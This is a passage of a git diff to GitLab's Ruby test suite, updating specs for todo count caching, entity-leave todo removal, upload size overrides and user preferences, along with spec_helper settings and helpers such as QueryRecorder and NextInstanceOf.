- expect(john_doe.todos_pending_count).to eq(0)
- expect(john_doe).to receive(:update_todos_count_cache).and_call_original
+ expect_next(Users::UpdateTodoCountCacheService, [john_doe]).to receive(:execute)
service.new_issue(issue, author)
-
- expect(Todo.where(user_id: john_doe.id, state: :pending).count).to eq 1
- expect(john_doe.todos_pending_count).to eq(1)
end
shared_examples 'updating todos state' do |state, new_state, new_resolved_by = nil|
diff --git a/spec/services/todos/destroy/destroyed_issuable_service_spec.rb b/spec/services/todos/destroy/destroyed_issuable_service_spec.rb
new file mode 100644
index 00000000000..24f74bae7c8
--- /dev/null
+++ b/spec/services/todos/destroy/destroyed_issuable_service_spec.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Todos::Destroy::DestroyedIssuableService do
+ describe '#execute' do
+ let_it_be(:target) { create(:merge_request) }
+ let_it_be(:pending_todo) { create(:todo, :pending, project: target.project, target: target, user: create(:user)) }
+ let_it_be(:done_todo) { create(:todo, :done, project: target.project, target: target, user: create(:user)) }
+
+ def execute
+ described_class.new(target.id, target.class.name).execute
+ end
+
+ it 'deletes todos for specified target ID and type' do
+ control_count = ActiveRecord::QueryRecorder.new { execute }.count
+
+ # Create more todos for the target
+ create(:todo, :pending, project: target.project, target: target, user: create(:user))
+ create(:todo, :pending, project: target.project, target: target, user: create(:user))
+ create(:todo, :done, project: target.project, target: target, user: create(:user))
+ create(:todo, :done, project: target.project, target: target, user: create(:user))
+
+ expect { execute }.not_to exceed_query_limit(control_count)
+ expect(target.reload.todos.count).to eq(0)
+ end
+
+ it 'invalidates todos cache counts of todo users', :use_clean_rails_redis_caching do
+ expect { execute }
+ .to change { pending_todo.user.todos_pending_count }.from(1).to(0)
+ .and change { done_todo.user.todos_done_count }.from(1).to(0)
+ end
+ end
+end
diff --git a/spec/services/todos/destroy/entity_leave_service_spec.rb b/spec/services/todos/destroy/entity_leave_service_spec.rb
index 4126eb88b0b..03fa2482bbf 100644
--- a/spec/services/todos/destroy/entity_leave_service_spec.rb
+++ b/spec/services/todos/destroy/entity_leave_service_spec.rb
@@ -224,6 +224,8 @@ RSpec.describe Todos::Destroy::EntityLeaveService do
end
context 'with nested groups' do
+ let(:parent_group) { create(:group, :public) }
+ let(:parent_subgroup) { create(:group)}
let(:subgroup) { create(:group, :private, parent: group) }
let(:subgroup2) { create(:group, :private, parent: group) }
let(:subproject) { create(:project, group: subgroup) }
@@ -235,12 +237,17 @@ RSpec.describe Todos::Destroy::EntityLeaveService do
let!(:todo_subgroup2_user) { create(:todo, user: user, group: subgroup2) }
let!(:todo_subproject_user2) { create(:todo, user: user2, project: subproject) }
let!(:todo_subpgroup_user2) { create(:todo, user: user2, group: subgroup) }
+ let!(:todo_parent_group_user) { create(:todo, user: user, group: parent_group) }
+
+ before do
+ group.update!(parent: parent_group)
+ end
context 'when the user is not a member of any groups/projects' do
it 'removes todos for the user including subprojects todos' do
- expect { subject }.to change { Todo.count }.from(12).to(4)
+ expect { subject }.to change { Todo.count }.from(13).to(5)
- expect(user.todos).to be_empty
+ expect(user.todos).to eq([todo_parent_group_user])
expect(user2.todos)
.to match_array(
[todo_issue_c_user2, todo_group_user2, todo_subproject_user2, todo_subpgroup_user2]
@@ -250,8 +257,6 @@ RSpec.describe Todos::Destroy::EntityLeaveService do
context 'when the user is member of a parent group' do
before do
- parent_group = create(:group)
- group.update!(parent: parent_group)
parent_group.add_developer(user)
end
@@ -264,9 +269,12 @@ RSpec.describe Todos::Destroy::EntityLeaveService do
end
it 'does not remove group and subproject todos' do
- expect { subject }.to change { Todo.count }.from(12).to(7)
+ expect { subject }.to change { Todo.count }.from(13).to(8)
- expect(user.todos).to match_array([todo_group_user, todo_subgroup_user, todo_subproject_user])
+ expect(user.todos)
+ .to match_array(
+ [todo_group_user, todo_subgroup_user, todo_subproject_user, todo_parent_group_user]
+ )
expect(user2.todos)
.to match_array(
[todo_issue_c_user2, todo_group_user2, todo_subproject_user2, todo_subpgroup_user2]
@@ -280,9 +288,12 @@ RSpec.describe Todos::Destroy::EntityLeaveService do
end
it 'does not remove subproject and group todos' do
- expect { subject }.to change { Todo.count }.from(12).to(7)
+ expect { subject }.to change { Todo.count }.from(13).to(8)
- expect(user.todos).to match_array([todo_subgroup_user, todo_group_user, todo_subproject_user])
+ expect(user.todos)
+ .to match_array(
+ [todo_subgroup_user, todo_group_user, todo_subproject_user, todo_parent_group_user]
+ )
expect(user2.todos)
.to match_array(
[todo_issue_c_user2, todo_group_user2, todo_subproject_user2, todo_subpgroup_user2]
diff --git a/spec/services/upload_service_spec.rb b/spec/services/upload_service_spec.rb
index 89a28e6a098..48aa65451f3 100644
--- a/spec/services/upload_service_spec.rb
+++ b/spec/services/upload_service_spec.rb
@@ -67,6 +67,29 @@ RSpec.describe UploadService do
it { expect(@link_to_file).to eq({}) }
end
+
+ describe '#override_max_attachment_size' do
+ let(:txt) { fixture_file_upload('spec/fixtures/doc_sample.txt', 'text/plain') }
+ let(:service) { described_class.new(@project, txt, FileUploader) }
+
+ subject { service.execute.to_h }
+
+ before do
+ allow(txt).to receive(:size) { 100.megabytes.to_i }
+ end
+
+ it 'allows the upload' do
+ service.override_max_attachment_size = 101.megabytes
+
+ expect(subject.keys).to eq(%i(alt url markdown))
+ end
+
+ it 'disallows the upload' do
+ service.override_max_attachment_size = 99.megabytes
+
+ expect(subject).to eq({})
+ end
+ end
end
def upload_file(project, file)
diff --git a/spec/services/user_preferences/update_service_spec.rb b/spec/services/user_preferences/update_service_spec.rb
new file mode 100644
index 00000000000..59089a4a7af
--- /dev/null
+++ b/spec/services/user_preferences/update_service_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe UserPreferences::UpdateService do
+ let(:user) { create(:user) }
+ let(:params) { { view_diffs_file_by_file: false } }
+
+ describe '#execute' do
+ subject(:service) { described_class.new(user, params) }
+
+ context 'successfully updating the record' do
+ it 'updates the preference and returns a success' do
+ result = service.execute
+
+ expect(result.status).to eq(:success)
+ expect(result.payload[:preferences].view_diffs_file_by_file).to eq(params[:view_diffs_file_by_file])
+ end
+ end
+
+ context 'unsuccessfully updating the record' do
+ before do
+ allow(user.user_preference).to receive(:update).and_return(false)
+ end
+
+ it 'returns an error' do
+ result = service.execute
+
+ expect(result.status).to eq(:error)
+ end
+ end
+ end
+end
diff --git a/spec/services/users/refresh_authorized_projects_service_spec.rb b/spec/services/users/refresh_authorized_projects_service_spec.rb
index 1e74ff3d9eb..a8ad0d02f60 100644
--- a/spec/services/users/refresh_authorized_projects_service_spec.rb
+++ b/spec/services/users/refresh_authorized_projects_service_spec.rb
@@ -163,168 +163,4 @@ RSpec.describe Users::RefreshAuthorizedProjectsService do
service.update_authorizations([], [[user.id, project.id, Gitlab::Access::MAINTAINER]])
end
end
-
- describe '#fresh_access_levels_per_project' do
- let(:hash) { service.fresh_access_levels_per_project }
-
- it 'returns a Hash' do
- expect(hash).to be_an_instance_of(Hash)
- end
-
- it 'sets the keys to the project IDs' do
- expect(hash.keys).to eq([project.id])
- end
-
- it 'sets the values to the access levels' do
- expect(hash.values).to eq([Gitlab::Access::MAINTAINER])
- end
-
- context 'personal projects' do
- it 'includes the project with the right access level' do
- expect(hash[project.id]).to eq(Gitlab::Access::MAINTAINER)
- end
- end
-
- context 'projects the user is a member of' do
- let!(:other_project) { create(:project) }
-
- before do
- other_project.team.add_reporter(user)
- end
-
- it 'includes the project with the right access level' do
- expect(hash[other_project.id]).to eq(Gitlab::Access::REPORTER)
- end
- end
-
- context 'projects of groups the user is a member of' do
- let(:group) { create(:group) }
- let!(:other_project) { create(:project, group: group) }
-
- before do
- group.add_owner(user)
- end
-
- it 'includes the project with the right access level' do
- expect(hash[other_project.id]).to eq(Gitlab::Access::OWNER)
- end
- end
-
- context 'projects of subgroups of groups the user is a member of' do
- let(:group) { create(:group) }
- let(:nested_group) { create(:group, parent: group) }
- let!(:other_project) { create(:project, group: nested_group) }
-
- before do
- group.add_maintainer(user)
- end
-
- it 'includes the project with the right access level' do
- expect(hash[other_project.id]).to eq(Gitlab::Access::MAINTAINER)
- end
- end
-
- context 'projects shared with groups the user is a member of' do
- let(:group) { create(:group) }
- let(:other_project) { create(:project) }
- let!(:project_group_link) { create(:project_group_link, project: other_project, group: group, group_access: Gitlab::Access::GUEST) }
-
- before do
- group.add_maintainer(user)
- end
-
- it 'includes the project with the right access level' do
- expect(hash[other_project.id]).to eq(Gitlab::Access::GUEST)
- end
- end
-
- context 'projects shared with subgroups of groups the user is a member of' do
- let(:group) { create(:group) }
- let(:nested_group) { create(:group, parent: group) }
- let(:other_project) { create(:project) }
- let!(:project_group_link) { create(:project_group_link, project: other_project, group: nested_group, group_access: Gitlab::Access::DEVELOPER) }
-
- before do
- group.add_maintainer(user)
- end
-
- it 'includes the project with the right access level' do
- expect(hash[other_project.id]).to eq(Gitlab::Access::DEVELOPER)
- end
- end
- end
-
- describe '#current_authorizations_per_project' do
- let(:hash) { service.current_authorizations_per_project }
-
- it 'returns a Hash' do
- expect(hash).to be_an_instance_of(Hash)
- end
-
- it 'sets the keys to the project IDs' do
- expect(hash.keys).to eq([project.id])
- end
-
- it 'sets the values to the project authorization rows' do
- expect(hash.values.length).to eq(1)
-
- value = hash.values[0]
-
- expect(value.project_id).to eq(project.id)
- expect(value.access_level).to eq(Gitlab::Access::MAINTAINER)
- end
- end
-
- describe '#current_authorizations' do
- context 'without authorizations' do
- it 'returns an empty list' do
- user.project_authorizations.delete_all
-
- expect(service.current_authorizations.empty?).to eq(true)
- end
- end
-
- context 'with an authorization' do
- let(:row) { service.current_authorizations.take }
-
- it 'returns the currently authorized projects' do
- expect(service.current_authorizations.length).to eq(1)
- end
-
- it 'includes the project ID for every row' do
- expect(row.project_id).to eq(project.id)
- end
-
- it 'includes the access level for every row' do
- expect(row.access_level).to eq(Gitlab::Access::MAINTAINER)
- end
- end
- end
-
- describe '#fresh_authorizations' do
- it 'returns the new authorized projects' do
- expect(service.fresh_authorizations.length).to eq(1)
- end
-
- it 'returns the highest access level' do
- project.team.add_guest(user)
-
- rows = service.fresh_authorizations.to_a
-
- expect(rows.length).to eq(1)
- expect(rows.first.access_level).to eq(Gitlab::Access::MAINTAINER)
- end
-
- context 'every returned row' do
- let(:row) { service.fresh_authorizations.take }
-
- it 'includes the project ID' do
- expect(row.project_id).to eq(project.id)
- end
-
- it 'includes the access level' do
- expect(row.access_level).to eq(Gitlab::Access::MAINTAINER)
- end
- end
- end
end
diff --git a/spec/services/users/update_todo_count_cache_service_spec.rb b/spec/services/users/update_todo_count_cache_service_spec.rb
new file mode 100644
index 00000000000..3e3618b1291
--- /dev/null
+++ b/spec/services/users/update_todo_count_cache_service_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Users::UpdateTodoCountCacheService do
+ describe '#execute' do
+ let_it_be(:user1) { create(:user) }
+ let_it_be(:user2) { create(:user) }
+
+ let_it_be(:todo1) { create(:todo, user: user1, state: :done) }
+ let_it_be(:todo2) { create(:todo, user: user1, state: :done) }
+ let_it_be(:todo3) { create(:todo, user: user1, state: :pending) }
+ let_it_be(:todo4) { create(:todo, user: user2, state: :done) }
+ let_it_be(:todo5) { create(:todo, user: user2, state: :pending) }
+ let_it_be(:todo6) { create(:todo, user: user2, state: :pending) }
+
+ it 'updates the todos_counts for users', :use_clean_rails_memory_store_caching do
+ Rails.cache.write(['users', user1.id, 'todos_done_count'], 0)
+ Rails.cache.write(['users', user1.id, 'todos_pending_count'], 0)
+ Rails.cache.write(['users', user2.id, 'todos_done_count'], 0)
+ Rails.cache.write(['users', user2.id, 'todos_pending_count'], 0)
+
+ expect { described_class.new([user1, user2]).execute }
+ .to change(user1, :todos_done_count).from(0).to(2)
+ .and change(user1, :todos_pending_count).from(0).to(1)
+ .and change(user2, :todos_done_count).from(0).to(1)
+ .and change(user2, :todos_pending_count).from(0).to(2)
+
+ Todo.delete_all
+
+ expect { described_class.new([user1, user2]).execute }
+ .to change(user1, :todos_done_count).from(2).to(0)
+ .and change(user1, :todos_pending_count).from(1).to(0)
+ .and change(user2, :todos_done_count).from(1).to(0)
+ .and change(user2, :todos_pending_count).from(2).to(0)
+ end
+
+ it 'avoids N+1 queries' do
+ control_count = ActiveRecord::QueryRecorder.new { described_class.new([user1]).execute }.count
+
+ expect { described_class.new([user1, user2]).execute }.not_to exceed_query_limit(control_count)
+ end
+
+ it 'executes one query per batch of users' do
+ stub_const("#{described_class}::QUERY_BATCH_SIZE", 1)
+
+ expect(ActiveRecord::QueryRecorder.new { described_class.new([user1]).execute }.count).to eq(1)
+ expect(ActiveRecord::QueryRecorder.new { described_class.new([user1, user2]).execute }.count).to eq(2)
+ end
+
+ it 'sets the cache expire time to the users count_cache_validity_period' do
+ allow(user1).to receive(:count_cache_validity_period).and_return(1.minute)
+ allow(user2).to receive(:count_cache_validity_period).and_return(1.hour)
+
+ expect(Rails.cache).to receive(:write).with(['users', user1.id, anything], anything, expires_in: 1.minute).twice
+ expect(Rails.cache).to receive(:write).with(['users', user2.id, anything], anything, expires_in: 1.hour).twice
+
+ described_class.new([user1, user2]).execute
+ end
+ end
+end
diff --git a/spec/spam/concerns/has_spam_action_response_fields_spec.rb b/spec/spam/concerns/has_spam_action_response_fields_spec.rb
index 4d5f8d9d431..9752f6a0b69 100644
--- a/spec/spam/concerns/has_spam_action_response_fields_spec.rb
+++ b/spec/spam/concerns/has_spam_action_response_fields_spec.rb
@@ -19,16 +19,12 @@ RSpec.describe Spam::Concerns::HasSpamActionResponseFields do
end
it 'merges in spam action fields from spammable' do
- result = subject.send(:with_spam_action_response_fields, spammable) do
- { other_field: true }
- end
- expect(result)
+ expect(subject.spam_action_response_fields(spammable))
.to eq({
spam: true,
needs_captcha_response: true,
spam_log_id: 1,
- captcha_site_key: recaptcha_site_key,
- other_field: true
+ captcha_site_key: recaptcha_site_key
})
end
end
diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index 60a8fb8cb9f..4179e6f7e91 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -15,6 +15,9 @@ Warning[:deprecated] = true unless ENV.key?('SILENCE_DEPRECATIONS')
require './spec/deprecation_toolkit_env'
DeprecationToolkitEnv.configure!
+require './spec/knapsack_env'
+KnapsackEnv.configure!
+
require './spec/simplecov_env'
SimpleCovEnv.start!
@@ -25,7 +28,7 @@ ENV["RAILS_ENV"] = 'test'
ENV["IN_MEMORY_APPLICATION_SETTINGS"] = 'true'
ENV["RSPEC_ALLOW_INVALID_URLS"] = 'true'
-require File.expand_path('../config/environment', __dir__)
+require_relative '../config/environment'
require 'rspec/mocks'
require 'rspec/rails'
@@ -47,16 +50,12 @@ if rspec_profiling_is_configured && (!ENV.key?('CI') || branch_can_be_profiled)
require 'rspec_profiling/rspec'
end
-if ENV['CI'] && ENV['KNAPSACK_GENERATE_REPORT'] && !ENV['NO_KNAPSACK']
- require 'knapsack'
- Knapsack::Adapters::RSpecAdapter.bind
-end
-
# require rainbow gem String monkeypatch, so we can test SystemChecks
require 'rainbow/ext/string'
Rainbow.enabled = false
require_relative('../ee/spec/spec_helper') if Gitlab.ee?
+require_relative('../jh/spec/spec_helper') if Gitlab.jh?
# Requires supporting ruby files with custom matchers and macros, etc,
# in spec/support/ and its subdirectories.
@@ -72,6 +71,8 @@ Dir[Rails.root.join("spec/support/shared_contexts/*.rb")].sort.each { |f| requir
Dir[Rails.root.join("spec/support/shared_examples/*.rb")].sort.each { |f| require f }
Dir[Rails.root.join("spec/support/**/*.rb")].sort.each { |f| require f }
+require_relative '../tooling/quality/test_level'
+
quality_level = Quality::TestLevel.new
RSpec.configure do |config|
@@ -79,7 +80,7 @@ RSpec.configure do |config|
config.run_all_when_everything_filtered = true
config.use_transactional_fixtures = true
- config.use_instantiated_fixtures = false
+ config.use_instantiated_fixtures = false
config.fixture_path = Rails.root
config.verbose_retry = true
@@ -92,6 +93,25 @@ RSpec.configure do |config|
config.full_backtrace = true
end
+ # Attempt to troubleshoot https://gitlab.com/gitlab-org/gitlab/-/issues/297359
+ if ENV['CI']
+ config.after do |example|
+ if example.exception.is_a?(GRPC::Unavailable)
+ warn "=== gRPC unavailable detected, process list:"
+ processes = `ps -ef | grep toml`
+ warn processes
+ warn "=== free memory"
+ warn `free -m`
+ warn "=== uptime"
+ warn `uptime`
+ warn "=== Prometheus metrics:"
+ warn `curl -s -o log/gitaly-metrics.log http://localhost:9236/metrics`
+ warn "=== Taking goroutine dump in log/goroutines.log..."
+ warn `curl -s -o log/goroutines.log http://localhost:9236/debug/pprof/goroutine?debug=2`
+ end
+ end
+ end
+
unless ENV['CI']
# Re-run failures locally with `--only-failures`
config.example_status_persistence_file_path = './spec/examples.txt'
@@ -246,16 +266,15 @@ RSpec.configure do |config|
stub_feature_flags(unified_diff_components: false)
- # Disable this feature flag as we iterate and
- # refactor filtered search to use gitlab ui
- # components to meet feature parody. More details found
- # https://gitlab.com/groups/gitlab-org/-/epics/5501
- stub_feature_flags(boards_filtered_search: false)
-
# The following `vue_issues_list` stub can be removed once the
# Vue issues page has feature parity with the current Haml page
stub_feature_flags(vue_issues_list: false)
+ # Disable `refactor_blob_viewer` as we refactor
+ # the blob viewer. See the follwing epic for more:
+ # https://gitlab.com/groups/gitlab-org/-/epics/5531
+ stub_feature_flags(refactor_blob_viewer: false)
+
allow(Gitlab::GitalyClient).to receive(:can_use_disk?).and_return(enable_rugged)
else
unstub_all_feature_flags
@@ -278,7 +297,7 @@ RSpec.configure do |config|
Sidekiq::Worker.clear_all
# Administrators have to re-authenticate in order to access administrative
- # functionality when feature flag :user_mode_in_session is active. Any spec
+ # functionality when application setting admin_mode is active. Any spec
# that requires administrative access can use the tag :enable_admin_mode
# to avoid the second auth step (provided the user is already an admin):
#
@@ -295,6 +314,9 @@ RSpec.configure do |config|
end
end
+ # Make sure specs test by default admin mode setting on, unless forced to the opposite
+ stub_application_setting(admin_mode: true) unless example.metadata[:do_not_mock_admin_mode_setting]
+
allow(Gitlab::CurrentSettings).to receive(:current_application_settings?).and_return(false)
end
@@ -317,7 +339,7 @@ RSpec.configure do |config|
config.around do |example|
# Wrap each example in it's own context to make sure the contexts don't
# leak
- Labkit::Context.with_context { example.run }
+ Gitlab::ApplicationContext.with_raw_context { example.run }
end
config.around do |example|
@@ -340,6 +362,9 @@ RSpec.configure do |config|
# Reset all feature flag stubs to default for testing
stub_all_feature_flags
+
+ # Re-enable query limiting in case it was disabled
+ Gitlab::QueryLimiting.enable!
end
config.before(:example, :mailer) do
diff --git a/spec/support/helpers/board_helpers.rb b/spec/support/helpers/board_helpers.rb
index 683ee3e4bf2..6e145fed733 100644
--- a/spec/support/helpers/board_helpers.rb
+++ b/spec/support/helpers/board_helpers.rb
@@ -5,14 +5,5 @@ module BoardHelpers
within card do
first('.board-card-number').click
end
-
- wait_for_sidebar
- end
-
- def wait_for_sidebar
- # loop until the CSS transition is complete
- Timeout.timeout(0.5) do
- loop until evaluate_script('$(".right-sidebar").outerWidth()') == 290
- end
end
end
diff --git a/spec/support/helpers/ci_artifact_metadata_generator.rb b/spec/support/helpers/ci_artifact_metadata_generator.rb
index e02501565a9..ae821d6582b 100644
--- a/spec/support/helpers/ci_artifact_metadata_generator.rb
+++ b/spec/support/helpers/ci_artifact_metadata_generator.rb
@@ -7,7 +7,7 @@
class CiArtifactMetadataGenerator
attr_accessor :entries, :output
- ARTIFACT_METADATA = "GitLab Build Artifacts Metadata 0.0.2\n".freeze
+ ARTIFACT_METADATA = "GitLab Build Artifacts Metadata 0.0.2\n"
def initialize(stream)
@entries = {}
diff --git a/spec/support/helpers/cycle_analytics_helpers.rb b/spec/support/helpers/cycle_analytics_helpers.rb
index 14041ad0ac6..9e62eef14de 100644
--- a/spec/support/helpers/cycle_analytics_helpers.rb
+++ b/spec/support/helpers/cycle_analytics_helpers.rb
@@ -3,15 +3,15 @@
module CycleAnalyticsHelpers
include GitHelpers
- def wait_for_stages_to_load
- expect(page).to have_selector '.js-stage-table'
+ def wait_for_stages_to_load(selector = '.js-path-navigation')
+ expect(page).to have_selector selector
wait_for_requests
end
- def select_group(target_group)
+ def select_group(target_group, ready_selector = '.js-path-navigation')
visit group_analytics_cycle_analytics_path(target_group)
- wait_for_stages_to_load
+ wait_for_stages_to_load(ready_selector)
end
def toggle_dropdown(field)
diff --git a/spec/support/helpers/graphql_helpers.rb b/spec/support/helpers/graphql_helpers.rb
index 75d9508f470..d714f04fbba 100644
--- a/spec/support/helpers/graphql_helpers.rb
+++ b/spec/support/helpers/graphql_helpers.rb
@@ -222,9 +222,12 @@ module GraphqlHelpers
lazy_vals.is_a?(Array) ? lazy_vals.map { |val| sync(val) } : sync(lazy_vals)
end
- def graphql_query_for(name, args = {}, selection = nil)
+ def graphql_query_for(name, args = {}, selection = nil, operation_name = nil)
type = GitlabSchema.types['Query'].fields[GraphqlHelpers.fieldnamerize(name)]&.type
- wrap_query(query_graphql_field(name, args, selection, type))
+ query = wrap_query(query_graphql_field(name, args, selection, type))
+ query = "query #{operation_name}#{query}" if operation_name
+
+ query
end
def wrap_query(query)
@@ -274,11 +277,11 @@ module GraphqlHelpers
# prepare_input_for_mutation({ 'my_key' => 1 })
# => { 'myKey' => 1}
def prepare_input_for_mutation(input)
- input.map do |name, value|
+ input.to_h do |name, value|
value = prepare_input_for_mutation(value) if value.is_a?(Hash)
[GraphqlHelpers.fieldnamerize(name), value]
- end.to_h
+ end
end
def input_variable_name_for_mutation(mutation_name)
@@ -304,7 +307,10 @@ module GraphqlHelpers
def query_graphql_field(name, attributes = {}, fields = nil, type = nil)
type ||= name.to_s.classify
- attributes, fields = [nil, attributes] if fields.nil? && !attributes.is_a?(Hash)
+ if fields.nil? && !attributes.is_a?(Hash)
+ fields = attributes
+ attributes = nil
+ end
field = field_with_params(name, attributes)
diff --git a/spec/support/helpers/javascript_fixtures_helpers.rb b/spec/support/helpers/javascript_fixtures_helpers.rb
index 09425c3742a..28375c1d51e 100644
--- a/spec/support/helpers/javascript_fixtures_helpers.rb
+++ b/spec/support/helpers/javascript_fixtures_helpers.rb
@@ -31,7 +31,7 @@ module JavaScriptFixturesHelpers
#
def clean_frontend_fixtures(directory_name)
full_directory_name = File.expand_path(directory_name, fixture_root_path)
- Dir[File.expand_path('*.html', full_directory_name)].each do |file_name|
+ Dir[File.expand_path('*.{html,json,md}', full_directory_name)].each do |file_name|
FileUtils.rm(file_name)
end
end
diff --git a/spec/support/helpers/jira_service_helper.rb b/spec/support/helpers/jira_service_helper.rb
index 698490c8c92..ce908d53f88 100644
--- a/spec/support/helpers/jira_service_helper.rb
+++ b/spec/support/helpers/jira_service_helper.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module JiraServiceHelper
- JIRA_URL = "http://jira.example.net".freeze
+ JIRA_URL = "http://jira.example.net"
JIRA_API = JIRA_URL + "/rest/api/2"
def jira_service_settings
diff --git a/spec/support/helpers/key_generator_helper.rb b/spec/support/helpers/key_generator_helper.rb
index 59c8eeb3692..58bde80a31f 100644
--- a/spec/support/helpers/key_generator_helper.rb
+++ b/spec/support/helpers/key_generator_helper.rb
@@ -27,7 +27,8 @@ module Spec
# Encodes an openssh-mpi-encoded integer.
def encode_mpi(n) # rubocop:disable Naming/UncommunicativeMethodParamName
- chars, n = [], n.to_i
+ chars = []
+ n = n.to_i
chars << (n & 0xff) && n >>= 8 while n != 0
chars << 0 if chars.empty? || chars.last >= 0x80
chars.reverse.pack('C*')
diff --git a/spec/support/helpers/navbar_structure_helper.rb b/spec/support/helpers/navbar_structure_helper.rb
index e18a708e41c..826108a63a5 100644
--- a/spec/support/helpers/navbar_structure_helper.rb
+++ b/spec/support/helpers/navbar_structure_helper.rb
@@ -29,7 +29,7 @@ module NavbarStructureHelper
)
end
- def insert_container_nav(within)
+ def insert_container_nav
insert_after_sub_nav_item(
_('Package Registry'),
within: _('Packages & Registries'),
@@ -37,11 +37,19 @@ module NavbarStructureHelper
)
end
- def insert_dependency_proxy_nav(within)
+ def insert_dependency_proxy_nav
insert_after_sub_nav_item(
_('Package Registry'),
within: _('Packages & Registries'),
new_sub_nav_item_name: _('Dependency Proxy')
)
end
+
+ def insert_infrastructure_registry_nav
+ insert_after_sub_nav_item(
+ _('Package Registry'),
+ within: _('Packages & Registries'),
+ new_sub_nav_item_name: _('Infrastructure Registry')
+ )
+ end
end
diff --git a/spec/support/helpers/next_instance_of.rb b/spec/support/helpers/next_instance_of.rb
index a8e9ab2bafe..95d8936588c 100644
--- a/spec/support/helpers/next_instance_of.rb
+++ b/spec/support/helpers/next_instance_of.rb
@@ -2,25 +2,26 @@
module NextInstanceOf
def expect_next_instance_of(klass, *new_args, &blk)
- stub_new(expect(klass), nil, *new_args, &blk)
+ stub_new(expect(klass), nil, false, *new_args, &blk)
end
- def expect_next_instances_of(klass, number, *new_args, &blk)
- stub_new(expect(klass), number, *new_args, &blk)
+ def expect_next_instances_of(klass, number, ordered = false, *new_args, &blk)
+ stub_new(expect(klass), number, ordered, *new_args, &blk)
end
def allow_next_instance_of(klass, *new_args, &blk)
- stub_new(allow(klass), nil, *new_args, &blk)
+ stub_new(allow(klass), nil, false, *new_args, &blk)
end
- def allow_next_instances_of(klass, number, *new_args, &blk)
- stub_new(allow(klass), number, *new_args, &blk)
+ def allow_next_instances_of(klass, number, ordered = false, *new_args, &blk)
+ stub_new(allow(klass), number, ordered, *new_args, &blk)
end
private
- def stub_new(target, number, *new_args, &blk)
+ def stub_new(target, number, ordered = false, *new_args, &blk)
receive_new = receive(:new)
+ receive_new.ordered if ordered
receive_new.exactly(number).times if number
receive_new.with(*new_args) if new_args.any?
diff --git a/spec/support/helpers/query_recorder.rb b/spec/support/helpers/query_recorder.rb
index 61634813a1c..2d880c7a8fe 100644
--- a/spec/support/helpers/query_recorder.rb
+++ b/spec/support/helpers/query_recorder.rb
@@ -3,37 +3,53 @@
module ActiveRecord
class QueryRecorder
attr_reader :log, :skip_cached, :cached, :data
- UNKNOWN = %w(unknown unknown).freeze
- def initialize(skip_cached: true, query_recorder_debug: false, &block)
- @data = Hash.new { |h, k| h[k] = { count: 0, occurrences: [], backtrace: [] } }
+ UNKNOWN = %w[unknown unknown].freeze
+
+ def initialize(skip_cached: true, log_file: nil, query_recorder_debug: false, &block)
+ @data = Hash.new { |h, k| h[k] = { count: 0, occurrences: [], backtrace: [], durations: [] } }
@log = []
@cached = []
@skip_cached = skip_cached
- @query_recorder_debug = query_recorder_debug
+ @query_recorder_debug = ENV['QUERY_RECORDER_DEBUG'] || query_recorder_debug
+ @log_file = log_file
# force replacement of bind parameters to give tests the ability to check for ids
ActiveRecord::Base.connection.unprepared_statement do
ActiveSupport::Notifications.subscribed(method(:callback), 'sql.active_record', &block)
end
end
- def show_backtrace(values)
- Rails.logger.debug("QueryRecorder SQL: #{values[:sql]}")
+ def show_backtrace(values, duration)
+ values[:sql].lines.each do |line|
+ print_to_log(:SQL, line)
+ end
+ print_to_log(:DURATION, duration)
Gitlab::BacktraceCleaner.clean_backtrace(caller).each do |line|
- Rails.logger.debug("QueryRecorder backtrace: --> #{line}")
+ print_to_log(:backtrace, line)
+ end
+ end
+
+ def print_to_log(label, line)
+ msg = "QueryRecorder #{label}: --> #{line}"
+
+ if @log_file
+ @log_file.puts(msg)
+ else
+ Rails.logger.debug(msg)
end
end
def get_sql_source(sql)
- matches = sql.match(/,line:(?<line>.*):in\s+`(?<method>.*)'\*\//)
+ matches = sql.match(%r{,line:(?<line>.*):in\s+`(?<method>.*)'\*/})
matches ? [matches[:line], matches[:method]] : UNKNOWN
end
- def store_sql_by_source(values: {}, backtrace: nil)
+ def store_sql_by_source(values: {}, duration: nil, backtrace: nil)
full_name = get_sql_source(values[:sql]).join(':')
@data[full_name][:count] += 1
@data[full_name][:occurrences] << values[:sql]
@data[full_name][:backtrace] << backtrace
+ @data[full_name][:durations] << duration
end
def find_query(query_regexp, limit, first_only: false)
@@ -55,14 +71,14 @@ module ActiveRecord
end
def callback(name, start, finish, message_id, values)
- store_backtrace = ENV['QUERY_RECORDER_DEBUG'] || @query_recorder_debug
- backtrace = store_backtrace ? show_backtrace(values) : nil
+ duration = finish - start
if values[:cached] && skip_cached
@cached << values[:sql]
elsif !values[:name]&.include?("SCHEMA")
+ backtrace = @query_recorder_debug ? show_backtrace(values, duration) : nil
@log << values[:sql]
- store_sql_by_source(values: values, backtrace: backtrace)
+ store_sql_by_source(values: values, duration: duration, backtrace: backtrace)
end
end
diff --git a/spec/support/helpers/reload_helpers.rb b/spec/support/helpers/reload_helpers.rb
new file mode 100644
index 00000000000..60811e4604f
--- /dev/null
+++ b/spec/support/helpers/reload_helpers.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module ReloadHelpers
+ def reload_models(*models)
+ models.map(&:reload)
+ end
+
+ def subject_and_reload(*models)
+ subject
+ reload_models(*models)
+ end
+end
diff --git a/spec/support/helpers/rubygems_helpers.rb b/spec/support/helpers/rubygems_helpers.rb
new file mode 100644
index 00000000000..6a808f52e97
--- /dev/null
+++ b/spec/support/helpers/rubygems_helpers.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module RubygemsHelpers
+ def gem_from_file(file)
+ full_path = File.expand_path(
+ Rails.root.join('spec', 'fixtures', 'packages', 'rubygems', file.filename)
+ )
+
+ Gem::Package.new(File.open(full_path))
+ end
+end
diff --git a/spec/support/helpers/seed_repo.rb b/spec/support/helpers/seed_repo.rb
index 20738b45129..74ac529a3de 100644
--- a/spec/support/helpers/seed_repo.rb
+++ b/spec/support/helpers/seed_repo.rb
